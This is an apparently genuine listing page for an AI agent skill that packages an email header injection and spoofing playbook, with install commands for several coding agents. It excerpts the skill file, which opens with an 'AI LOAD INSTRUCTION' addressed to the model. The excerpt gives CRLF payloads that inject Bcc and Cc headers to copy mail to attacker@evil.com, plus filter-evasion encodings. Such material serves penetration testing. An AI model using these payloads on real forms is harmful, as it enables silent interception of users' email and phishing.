# Email Header Injection

Email header injection and spoofing playbook.

- Repository: https://github.com/yaklang/hack-skills (2601 stars)
- Category: Testing
- License: MIT
- Last updated: 2026-09-13
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add yaklang/hack-skills --skill email-header-injection -g -a claude-code -y`
Codex: `npx skills add yaklang/hack-skills --skill email-header-injection -g -a codex -y`
Cursor: `npx skills add yaklang/hack-skills --skill email-header-injection -g -a cursor -y`
Gemini CLI: `npx skills add yaklang/hack-skills --skill email-header-injection -g -a gemini-cli -y`

## Description

Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# SKILL: Email Header Injection, Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level), this skill covers both attack surfaces.

## 0. RELATED ROUTING

- [crlf-injection](../crlf-injection/SKILL.md), general CRLF injection; email headers are a specific high-value sink
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md), when SMTP server is reachable via SSRF (gopher://smtp)
- [open-redirect](../open-redirect/SKILL.md), redirect in password-reset emails as phishing amplification

---

## 1. SMTP HEADER INJECTION FUNDAMENTALS

SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers.

### Injection anatomy

```
Normal header construction:
  To: user@example.com\r\n
  Subject: Contact Form\r\n
  From: noreply@target.com\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: attacker@evil.com\r\n
```

### Encoding variants to try

| Encoding | Payload |
|---|---|
| URL-encoded | `%0d%0a` |
| Double URL-encoded | `%250d%250a` |
| Unicode | `\u000d\u000a` |
| Raw CRLF | `\r\n` (in raw request) |
| LF only | `%0a` (some SMTP servers accept LF without CR) |
| Null byte + CRLF | `%00%0d%0a` |

---

## 2. ATTACK SCENARIOS

### 2.1 BCC Injection, Silent Email Exfiltration

```
Input field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com

Effect: attacker receives a copy of every email sent through this form
```

### 2.2 CC Injection with Header Stacking

```
Payload in "From name" field:
  John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com

The rest: https://github.com/yaklang/hack-skills/blob/HEAD/skills/email-header-injection/SKILL.md